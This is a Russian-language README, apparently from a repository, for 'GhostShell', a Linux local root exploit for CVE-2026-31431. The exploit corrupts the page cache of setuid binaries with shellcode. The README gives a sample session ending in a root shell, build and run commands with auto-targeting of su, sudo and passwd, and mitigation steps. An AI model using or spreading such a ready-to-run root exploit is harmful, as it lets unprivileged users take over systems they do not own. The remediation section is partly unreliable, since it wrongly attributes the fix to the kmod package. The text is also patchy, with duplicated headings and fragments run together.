
CVE-2026-31431 — Повышение локальных привилегий через повреждение страничного кэша ядра Linux
CVE-2026-31431 — Локальное повышение привилегий через повреждение page cache ядра Linux
GhostShell — это инструмент локального повышения привилегий, который эксплуатирует уязвимость в реализации AEAD-криптографии authencesn ядра Linux, чтобы получить root-оболочку из непривилегированной учётной записи пользователя. Он повреждает page cache в памяти setuid-root-бинарника (например, /usr/bin/su), внедряя шеллкод в его точку входа, а затем выполняет его — получая setuid(0) + setgid(0) и запуская привилегированный /bin/sh. Никакой файл на диске не изменяется; затрагивается только page cache в памяти.
Короче говоря: вы запускаете его как обычный пользователь, и он помещает вас в root-оболочку.
Обнаружено и раскрыто Theori / Xint. Полное описание: copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Target: /usr/bin/su
Size: 63576 bytes
Entry offset: 0x1a50
Shellcode: 94 bytes (24 iterations)
[*] Checking if kernel is vulnerable...
[+] Kernel IS vulnerable.
[*] Corrupting page cache of /usr/bin/su with shellcode...
[*] Patching offset 0x01a50 (24/24) ...
[*] Verifying page cache corruption...
[+] Shellcode verified in page cache!
[*] Executing corrupted setuid binary...
[*] If successful, you should now have a root shell.
[*] No trace on disk. Only ghosts in the cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14 (август 2017) до ядер, пропатченных в апреле 2026.
kmodРекомендуемое исправление для CVE-2026-31431 — пропатчить пакет kmod (утилиты модулей ядра), который поставляет уязвимый модуль AEAD-шифра authencesn. Обновлённые пакеты, отключающие или исправляющие путь расшифровки на месте через splice(), выпущены крупными дистрибьюторами.
# Check current kmod version
modprobe --version
# Update to the patched version
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# Verify the update
modprobe --version
# Update kmod to the patched release
sudo dnf update kmod
# Verify
rpm -q kmod
sudo pacman -Syu kmod
После патча kmod убедитесь, что уязвимый модуль authencesn больше не загружается или был обновлён:
# Attempt to load the module — on patched systems this should fail or report fixed version
modinfo authencesn
# Alternatively, check that the running kernel includes the April 2026 patch
uname -r # should be >= the patched kernel version for your distro
Если вы не можете обновить kmod прямо сейчас, вы можете заблокировать загрузку уязвимого модуля шифрования:
# Blacklist the authencesn module
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# Also blacklist the generic authenc module for good measure
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# Unload it if currently loaded (may fail if in use)
sudo modprobe -r authencesn 2>/dev/null
Перезагрузитесь после патча или применения обходного пути, чтобы гарантировать очистку любых повреждённых записей page cache.
| ОС | Ядро |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ Этот эксплойт был протестирован только на указанной выше системе. Ваши результаты могут отличаться на других дистрибутивах или версиях ядра.
<linux/if_alg.h>) — обычно включены в linux-libc-devУстановка зависимостей сборки на Ubuntu/Debian:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
Внешние библиотеки не требуются.
Автоопределение цели (проверяет распространённые setuid-бинарники, такие как su, sudo, passwd):
./ghostshell
Указание цели вручную:
./ghostshell /usr/bin/sudo
Если ядро уязвимо, вы попадёте в root-оболочку (#).
_start.patch_chunk() (24 итерации), используя уязвимость расшифровки на месте через AF_ALG splice().execl() на повреждённом бинарнике. Ядро загружает его из page cache, и шеллкод выполняется с привилегиями setuid-root, запуская root-оболочку.Эксплойт только повреждает page cache в памяти. Простая перезагрузка полностью его очищает.
Чтобы сбросить кэши без перезагрузки:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
Если грязные страницы были записаны обратно на диск (маловероятно, но возможно), переустановите затронутый пакет:
sudo apt-get install --reinstall util-linux # for /usr/bin/su
Этот инструмент предоставляется только для образовательных целей и авторизованных исследований безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Автор не несёт ответственности за неправомерное использование.
Этот проект лицензирован под лицензией MIT.
Настоящим предоставляется бесплатное разрешение любому лицу, получающему копию этого программного обеспечения и связанных файлов документации («Программное обеспечение»), на использование Программного обеспечения без ограничений, включая, без ограничений, права использовать, копировать, изменять, объединять, публиковать, распространять, сублицензировать и/или продавать копии Программного обеспечения, а также разрешать лицам, которым предоставлено Программное обеспечение, делать это, при соблюдении следующих условий:
Вышеуказанное уведомление об авторских правах и данное уведомление о разрешении должны быть включены во все копии или существенные части Программного обеспечения.
ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, СООТВЕТСТВИЯ ОПРЕДЕЛЁННОМУ НАЗНАЧЕНИЮ И ОТСУТСТВИЯ НАРУШЕНИЯ ПРАВ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПО ЛЮБЫМ ИСКАМ, ЗА УЩЕРБ ИЛИ ИНУЮ ОТВЕТСТВЕННОСТЬ, БУДЬ ТО В ДЕЙСТВИЯХ ПО КОНТРАКТУ, ДЕЛИКТЕ ИЛИ ИНЫМ ОБРАЗОМ, ВОЗНИКШИМ ИЗ, ВНЕ ИЛИ В СВЯЗИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ ИЛИ ИСПОЛЬЗОВАНИЕМ ИЛИ ИНЫМИ ДЕЙСТВИЯМИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ.